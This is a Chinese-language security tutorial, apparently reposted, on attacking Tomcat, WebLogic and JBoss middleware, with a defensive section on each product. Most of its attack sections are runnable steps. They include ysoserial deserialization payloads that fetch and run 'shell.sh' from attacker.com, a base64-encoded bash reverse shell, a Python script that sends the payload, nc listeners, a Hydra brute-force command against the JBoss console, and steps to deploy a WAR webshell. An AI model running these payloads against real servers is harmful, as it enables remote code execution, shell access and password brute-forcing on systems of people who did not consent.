中間件安全攻防全解:從Tomcat到Weblogic反序列化漏洞介紹

本文僅用于技術研究,禁止用于非法用途。
Author:枷鎖

文章目錄

  • 什么是中間件
  • 中間件漏洞
    • (1) Tomcat
    • (2) Weblogic
    • (3) JBoss漏洞

什么是中間件

中間件(Middleware)是指一種軟件組件,其作用是在不同的系統、應用程序或服務之間傳遞數據和消息。它通常位于應用程序和操作系統之間,負責在不同的應用程序之間傳遞數據、協調不同應用程序之間的通信,以及處理網絡請求等。

中間件就像計算機系統的"萬能管家",在操作系統和應用軟件之間架起橋梁,既當翻譯協調溝通,又跑腿傳遞數據,還包辦各種雜務,讓開發者能專注核心業務。?

中間件通常是一種插件式架構,允許開發人員將其集成到現有的應用程序中。它可以提供諸如身份驗證、授權、緩存、負載均衡、日志記錄、安全性等功能,以簡化應用程序的開發和部署過程

從廣義上講,中間件涵蓋了從 Web 服務器,到身份驗證系統,再到消息傳遞工具等一切內容。
從另個一角度來講,中間件是:jboss、weblogic、tomcat、apache等。中間件的使用可以提高應用程序的可擴展性、可靠性、可維護性和安全性。

中間件漏洞

中間件漏洞是指在中間件軟件中存在的安全漏洞,這些漏洞可能被攻擊者利用來對系統進行攻擊和滲透。中間件漏洞通常包括以下幾種:

  1. 代碼注入漏洞:攻擊者可以通過向中間件發送惡意代碼,從而執行任意代碼或獲取敏感數據。
  2. 跨站腳本漏洞:攻擊者可以通過在中間件輸出的網頁中插入惡意腳本,來竊取用戶信息或進行其他惡意行為。
  3. SQL注入漏洞:攻擊者可以通過在中間件輸入的SQL查詢中插入惡意代碼,從而執行任意SQL查詢或獲取敏感數據。
  4. 認證和授權漏洞:攻擊者可以利用中間件的認證和授權機制的漏洞,來繞過訪問控制,獲取系統權限。
  5. 文件包含漏洞:攻擊者可以利用中間件的文件包含功能,來包含惡意文件并執行任意代碼。

為了保護中間件的安全,開發人員需要采取一系列安全措施,如開發安全代碼、定期更新中間件、限
制訪問權限、配置防火墻等。此外,使用漏洞掃描工具可以幫助開發人員及時發現和修復中間件漏


(1) Tomcat

Tomcat是一個開源的Java Servlet容器,由Apache軟件基金會開發。它可以作為獨立的Web服務器或應用服務器,也可以作為其他Web服務器的插件來使用,如Apache HTTP Server。Tomcat支持Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和WebSocket等Java技術,并提供了許多企業級特性,如集群、安全性和可擴展性。

A. Tomcat密碼爆破到WAR包部署

  1. 部署WAR包

WAR(Web Application Archive)是一種Web應用程序的打包格式,用于將Web應用程序打包成一個 單獨的文件,便于部署和分發。WAR文件實際上是一種JAR(Java Archive)文件,其中包含了Web應用程序的全部內容,包括Java類、HTML、JSP、Servlet、XML配置文件、靜態資源(如圖片、CSS、JavaScript文件等)等。WAR文件還可以包含一些特定于Web應用程序的配置文件,例如 web.xml、context.xml等。

WAR文件通常是通過Web服務器部署的,例如Tomcat、Jetty等。在部署Web應用程序時,Web服務器會將WAR文件解壓縮并將其部署到指定的目錄中,然后啟動Web應用程序。通過將Web應用程序打包成WAR文件,可以方便地將應用程序部署到不同的Web服務器中,也可以方便地將應用程序分發給其他人使用。
制作war包
將jsp馬添加到壓縮文件,然后將壓縮文件的zip后綴修改為war

webshell路徑: ip:port/war包名字/文件名
ip:port/war包名字/文件名
在這里插入圖片描述


(2) Weblogic

WebLogic Server 是美國甲骨文( Oracle )公司開發的一款適用于云環境和傳統環境的應用服務中間件,確切的說是一個基于JavaEE 架構的中間件,它提供了一個現代輕型開發平臺,用于開發、集成、部署和管理大型分布式Web 應用、網絡應用和數據庫應用的Java 應用服務器。將Java 的動態功能和Java Enterprise 標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
Weblogic特征

默認端口:7001
Web界面:Error 404--Not Found
控制后臺:http://ip:7001/console

Weblogic歷史漏洞

漏洞主要影響版本:

10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
12.2.1.3
14.1.1.0

WebLogic反序列化漏洞詳解

一句話概括
WebLogic反序列化漏洞是指攻擊者通過構造惡意的序列化數據,利用WebLogic服務器對Java反序列化的不當處理,實現遠程代碼執行(RCE),從而控制目標服務器。


1. 漏洞原理
(1) 什么是序列化與反序列化?

  • 序列化(Serialization):將Java對象轉換為字節流(便于存儲或傳輸)。
  • 反序列化(Deserialization):將字節流還原為Java對象。

(2) 漏洞成因
WebLogic在處理某些Java對象(如T3IIOP協議傳輸的數據)時,未嚴格檢查反序列化數據的安全性,導致攻擊者可以構造惡意數據,觸發服務器執行任意代碼。

關鍵點

  • T3協議:WebLogic默認使用的RMI通信協議,傳輸數據時自動反序列化。
  • Java反序列化漏洞:攻擊者利用ObjectInputStream的反序列化機制,加載惡意類(如InvokerTransformerCommonsCollections鏈)。

2. 常見WebLogic反序列化漏洞

漏洞編號影響版本利用方式核心利用鏈
CVE-2015-4852WebLogic 10.3.6.0, 12.1.2.0T3協議反序列化CommonsCollections1
CVE-2016-0638WebLogic 10.3.6.0, 12.1.3.0T3協議反序列化CommonsCollections3
CVE-2016-3510WebLogic 10.3.6.0, 12.1.3.0IIOP協議反序列化
CVE-2017-3248WebLogic 10.3.6.0, 12.1.3.0JRMP反序列化
CVE-2018-2628WebLogic 10.3.6.0, 12.1.3.0T3協議反序列化
CVE-2019-2725WebLogic 10.3.6.0, 12.1.3.0wls9-async組件
CVE-2020-2555WebLogic 12.2.1.3.0IIOP協議反序列化

3. 漏洞利用方式
(1) 攻擊流程

  1. 探測目標:掃描WebLogic默認端口(7001)是否開放。
  2. 構造Payload:使用ysoserial生成惡意序列化數據(如CommonsCollections鏈)。
  3. 發送Payload:通過T3/IIOP協議發送惡意數據,觸發反序列化漏洞。
  4. 執行命令:成功RCE后,執行whoamicurl等命令,獲取Shell。

(2) 常用工具

  • ysoserial:生成反序列化Payload(java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash")。
  • WebLogicScan:自動化漏洞檢測(python weblogicScan.py -u http://target:7001)。
  • BurpSuite:手動構造T3協議請求,發送Payload。

4. 漏洞復現(以CVE-2018-2628為例)
步驟1:環境搭建

docker pull vulhub/weblogic:10.3.6.0
docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0

步驟2:生成Payload

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

步驟3:發送Payload

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_ip", 7001))
with open("payload.bin", "rb") as f:s.send(f.read())
s.close()

步驟4:獲取反彈Shell

nc -lvnp 4444

5. 漏洞防御
(1) 臨時緩解

  1. 禁用T3協議(適用于非集群環境):
    # 修改WebLogic配置文件
    <protocol>T3</protocol>
    <enabled>false</enabled>
    
  2. 升級補丁:Oracle官方已發布修復版本(如10.3.6.0.210315)。

(2) 長期防護

  1. WAF攔截:過濾T3/IIOP協議中的惡意Payload。
  2. 最小權限運行:WebLogic服務使用低權限賬戶(非root)。
  3. 網絡隔離:限制WebLogic端口(7001)僅允許內網訪問。

6. 總結

  • 漏洞本質:WebLogic對T3/IIOP協議的反序列化未做安全校驗。
  • 利用方式:通過ysoserial構造惡意Payload,觸發RCE。
  • 防御關鍵:禁用T3協議、升級補丁、網絡隔離。

(3) JBoss漏洞

JBoss漏洞詳解

一句話概括
JBoss(現稱 WildFly)是一款基于Java EE的開源應用服務器,由于默認配置不安全、反序列化漏洞等問題,常被黑客攻擊,導致遠程代碼執行(RCE)敏感信息泄露等風險。


1. JBoss常見漏洞類型

漏洞類型漏洞編號影響版本利用方式
JMX Console未授權訪問CVE-2007-1036JBoss 4.x直接訪問/jmx-console部署惡意WAR包
反序列化漏洞CVE-2015-7501JBoss 5.x/6.x利用JMXInvokerServlet執行任意代碼
EJBInvokerServlet漏洞CVE-2013-4810JBoss 4.x/5.x通過EJB接口上傳惡意代碼
JMS反序列化漏洞CVE-2017-7504JBoss 4.x利用JBossMQ組件執行命令
管理后臺弱口令-所有版本爆破admin/admin等默認賬號

2. 漏洞利用實戰
(1) JMX Console未授權訪問(CVE-2007-1036)
漏洞原理
JBoss的/jmx-console頁面默認無權限控制,攻擊者可直接訪問并部署惡意WAR包,獲取服務器控制權。

攻擊步驟

  1. 探測目標:訪問http://target:8080/jmx-console,確認是否未授權訪問。
  2. 制作WAR木馬
    jar -cvf shell.war shell.jsp  # 將JSP木馬打包成WAR
    
  3. 遠程部署
    • 進入jmx-console → 搜索flavor=URL,type=DeploymentScanner
    • void addURL()方法中填入WAR包地址(如http://attacker.com/shell.war
    • 點擊Invoke部署,訪問http://target:8080/shell/shell.jsp獲取WebShell。

(2) JBoss反序列化漏洞(CVE-2015-7501)
漏洞原理
JMXInvokerServlet未對反序列化數據做安全檢查,攻擊者可構造惡意Java對象,觸發RCE。

攻擊步驟

  1. 生成Payload(使用ysoserial):
    java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
    
  2. 發送Payload
    curl -X POST --data-binary @payload.bin http://target:8080/invoker/JMXInvokerServlet
    
  3. 獲取反彈Shell
    nc -lvnp 4444
    

(3) JBoss管理后臺弱口令攻擊
漏洞原理
JBoss默認賬號admin/adminadmin/password等易被爆破,登錄后可上傳WAR木馬。

攻擊步驟

  1. 爆破密碼(使用Hydra):
    hydra -l admin -P passlist.txt target http-form-post "/jboss-console/login.do:j_username=^USER^&j_password=^PASS^&login=Login:Invalid"
    
  2. 登錄后臺 → 進入Web Application (WAR) → 上傳shell.war
  3. 訪問http://target:8080/shell/shell.jsp執行命令。

3. 漏洞防御方案
(1) 臨時修復

  1. 禁用JMX Console
    <!-- 修改$JBOSS_HOME/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml -->
    <security-domain>java:/jaas/jmx-console</security-domain>
    
  2. 刪除危險組件
    rm -f $JBOSS_HOME/server/default/deploy/http-invoker.sar
    
  3. 修改默認密碼
    # 修改$JBOSS_HOME/server/default/conf/props/jmx-console-users.properties
    admin=NewStrongPassword!
    

(2) 長期防護

  1. 升級到WildFly:JBoss已更名為WildFly,建議遷移至最新版本。
  2. 網絡隔離:限制JBoss端口(8080、9990)僅內網訪問。
  3. WAF防護:攔截惡意反序列化數據(如java.rmi.server關鍵字)。

4. 總結

  • 高危漏洞:JBoss因默認配置松散,易被未授權訪問/反序列化攻擊。
  • 利用方式:通過jmx-console部署WAR、JMXInvokerServlet反序列化、弱口令爆破。
  • 防御關鍵:禁用危險接口、升級版本、強密碼策略。

?? 免責聲明:本文僅用于安全研究,禁止非法滲透測試!

宇宙級免責聲明??
🚨 重要聲明:本文僅供合法授權下的安全研究與教育目的!🚨
1.合法授權:本文所述技術僅適用于已獲得明確書面授權的目標或自己的靶場內系統。未經授權的滲透測試、漏洞掃描或暴力破解行為均屬違法,可能導致法律后果(包括但不限于刑事指控、民事訴訟及巨額賠償)。
2.道德約束:黑客精神的核心是建設而非破壞。請確保你的行為符合道德規范,僅用于提升系統安全性,而非惡意入侵、數據竊取或服務干擾。
3.風險自擔:使用本文所述工具和技術時,你需自行承擔所有風險。作者及發布平臺不對任何濫用、誤用或由此引發的法律問題負責。
4.合規性:確保你的測試符合當地及國際法律法規(如《計算機欺詐與濫用法案》(CFAA)、《通用數據保護條例》(GDPR)等)。必要時,咨詢法律顧問。
5.最小影響原則:測試過程中應避免對目標系統造成破壞或服務中斷。建議在非生產環境或沙箱環境中進行演練。
6.數據保護:不得訪問、存儲或泄露任何未授權的用戶數據。如意外獲取敏感信息,應立即報告相關方并刪除。
7.免責范圍:作者、平臺及關聯方明確拒絕承擔因讀者行為導致的任何直接、間接、附帶或懲罰性損害責任。

🔐 安全研究的正確姿勢:
? 先授權,再測試
? 只針對自己擁有或有權測試的系統
? 發現漏洞后,及時報告并協助修復
? 尊重隱私,不越界

?? 警告:技術無善惡,人心有黑白。請明智選擇你的道路。

希望這個教程對你有所幫助!記得負責任地進行安全測試。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/89696.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/89696.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/89696.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

現代前端開發流程:CI/CD與自動化部署實戰

目錄 引言現代前端開發面臨的挑戰CI/CD基礎概念前端CI/CD流程設計實戰案例&#xff1a;構建前端CI/CD管道自動化部署策略監控與回滾機制最佳實踐與優化建議總結 引言 隨著前端技術的飛速發展&#xff0c;現代Web應用變得越來越復雜。前端項目不再只是簡單的HTML、CSS和JavaS…

MySQL EXPLAIN深度解析:優化SQL性能的核心利器

MySQL EXPLAIN深度解析&#xff1a;優化SQL性能的核心利器 引言&#xff1a;數據庫性能優化的關鍵 在數據庫應用開發中&#xff0c;SQL查詢性能往往是系統瓶頸的關鍵所在。當面對慢查詢問題時&#xff0c;EXPLAIN命令就像數據庫工程師的X光機&#xff0c;能夠透視SQL語句的執行…

Sentinel配置Nacos持久化

前言&#xff1a; Sentinel在使用控制臺時進行配置是純內存操作&#xff0c;并沒有提供默認的持久化措施&#xff0c;一旦服務重啟會導致配置的流控、熔斷等策略失效。Sentinel官方提供了多種持久化方式如&#xff1a;Redis、Zookeeper、Etcd、Nacos以及其他方式等。此文以Naco…

Java學習第五十五部分——在軟件開發中的作用

目錄 一. 前言提要 二. 主要作用 1. 跨平臺能力&#xff08;核心優勢&#xff09; 2. 企業級應用開發&#xff08;主導領域&#xff09; 3. 安卓應用開發&#xff08;關鍵角色&#xff09; 4. 大數據處理&#xff08;重要組件&#xff09; 5. 嵌入式系統 & IoT 6. 桌…

Keil編譯文件格式轉換全解析

目錄 介紹 Keil自帶常用命令概覽 fromelf介紹 Keil可燒錄文件概述 核心差異概覽 .axf文件獲取 .hex文件獲取 .bin文件生成 ?編輯 補充:生成可執行文件的匯編代碼&#xff08;.asm文件&#xff09; Keil自帶常用命令詳解 核心功能?? ??格式轉換?? ??輸出路…

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion 紅玉圣殿海里昂 清小怪小德可以睡龍類 打完3個副官就激活 【海里昂】 第一階段&#xff1a;外面環境&#xff08;現實位面&#xff09;火抗光環 第二階段&#xff1a;內場環境&#xff08;暗影環境&#xff09;暗…

Excel基礎:格式化

Excel格式化是指對單元格內容進行視覺呈現方式的調整&#xff0c;它不改變實際數據內容&#xff0c;但能顯著提升數據的可讀性&#xff0c;根據格式應用的范圍&#xff0c;格式可分為"單元格格式"和"數據格式"。本文介紹了這兩類格式的主要設置方法&#x…

基于STM32單片機車牌識別系統攝像頭圖像處理設計的論文

摘 要 本設計提出了一種基于 32 單片機的車牌識別系統攝像頭圖像處理方案。該系統主要由 STM32F103RCT6 單片機核心板、2.8 寸 TFT 液晶屏顯示、攝像頭圖像采集 OV7670、蜂鳴器以及 LED 電路組成。 在車牌識別過程中&#xff0c;STM32F103RCT6 單片機核心板發揮著關鍵的控制作用…

React hooks——useCallback

一、簡介useCallback 是 React 提供的一個 Hook&#xff0c;用于緩存函數引用&#xff0c;避免在組件重新渲染時創建新的函數實例&#xff0c;從而優化性能。1.1 基本語法const memoizedCallback useCallback(() > {// 函數邏輯},[dependencies] // 依賴項數組 );第一個參數…

跨個體預訓練與輕量化Transformer在手勢識別中的應用:Bioformer

目錄 一、從深度學習到邊緣部署&#xff0c;手勢識別的新突破 &#xff08;一&#xff09;可穿戴設備 邊緣計算 個性化醫療新可能 &#xff08;二&#xff09;肌電信號&#xff08;sEMG&#xff09;&#xff1a;手勢識別的關鍵媒介 &#xff08;三&#xff09;挑戰&#…

無線調制的幾種方式

不同的調制方式在 頻譜效率、抗干擾能力、功耗、實現復雜度 等方面存在顯著差異。以下是主要調制方式的對比分析&#xff1a;一、調制方式的核心區別調制方式原理頻譜效率抗干擾能力功耗典型應用AM改變載波振幅低差&#xff08;易受噪聲影響&#xff09;較高廣播電臺FM改變載波…

五分鐘系列-網絡性能測試工具iperf3

目錄 一、iperf3 是什么&#xff1f; 二、為什么需要 iperf3&#xff1f; 三、iperf3 的主要測量指標 四、安裝 iperf3 五、基礎使用模式&#xff08;命令行參數示例&#xff09; 1. 啟動 Server 端 (必須) 2. 啟動 Client 端進行測試 (最常見) 基本 TCP 測試 (10秒) …

LiFePO4電池的安全詳解

一、電池的制作過程 鋰離子電池的五大核心組成部分:正極、負極、電解液、隔膜和外殼。 正極:把正極材料(如LiFePO?)+ 導電劑(如炭黑)+ 粘結劑(如PVDF)混合成漿料,涂覆在鋁箔上,然后烘干、輥壓。 負極:把負極材料(如石墨)+ 導電劑 + 粘結劑混合成漿料,涂覆在銅…

S7-200 SMART PLC: SMART 200 CPU 密碼設置及權限設置方式

在工業自動化控制中&#xff0c;SMART 200 CPU 的安全穩定運行直接關系到整個系統的可靠運作&#xff0c;而組態系統安全則是保障 SMART 200 CPU 安全的核心環節。通過合理設置密碼及相關安全參數&#xff0c;能為 SMART 200 CPU 構建一道堅固的防護屏障&#xff0c;有效保護用…

Datawhale AI數據分析 作業

一、 貸款批準預測數據集1. 數據探索與理解prompt 1:這是訓練數據&#xff0c;目的是貸款批準預測數據集上訓練的深度學習模型生成的數據&#xff0c;旨在使用借款人信息預測貸款批準結果&#xff0c;它通過模擬真實貸款審批場景&#xff0c;幫助金融機構評估借款人風險。 請展…

100條常用SQL語句

一、基本查詢語句 查詢所有數據&#xff1a; SELECT * FROM 表名; 查詢特定列&#xff1a; SELECT 列名1, 列名2 FROM 表名; 條件查詢&#xff1a; SELECT * FROM 表名 WHERE 條件; 模糊查詢&#xff1a; SELECT * FROM 表名 WHERE 列名 LIKE ‘模式%’; 排序查詢&#xff1a; …

Visual Studio編譯WPF項目生成的文件介紹

文章目錄一、Summarize主要輸出文件1. **可執行文件 (.exe)**2. **程序集文件 (.dll)**3. **PDB 文件 (.pdb)**資源與配置文件1. **XAML 編譯文件 (.baml)**2. **資源文件 (.resources)**3. **應用程序配置文件 (.config)**依賴文件1. **引用的 NuGet 包**2. **引用的框架程序集…

「Chrome 開發環境快速屏蔽 CORS 跨域限制詳細教程」*

Chrome 開發環境快速屏蔽 CORS 跨域限制【超詳細教程】 &#x1f4e2; 為什么需要臨時屏蔽 CORS&#xff1f; 在日常前后端開發中&#xff0c;我們經常會遇到這樣的報錯&#xff1a; Access to fetch at https://api.example.com from origin http://localhost:3000 has been …

Linux命令大全-df命令

一、簡介df&#xff08;英文全拼&#xff1a;display free disk space&#xff09; 命令用于顯示或查看文件系統&#xff08;或磁盤&#xff09;的空間使用情況&#xff0c;包括總容量、已用空間、可用空間、使用率和掛載點等信息。二、語法df [選項]... [文件]...參數參數說明…

《程序員修煉之道》第一二章讀書筆記

最近在看《程序員修煉之道&#xff1a;通向務實的最高境界》這一本書&#xff0c;記錄一下看書時的一點淺薄感悟。務實程序員不僅是一種技能水平的體現&#xff0c;更是一種持續修煉、不斷反思并主動承擔責任的過程。對自己的行為負責是務實哲學的基石之一。在重構CRM時面對文檔…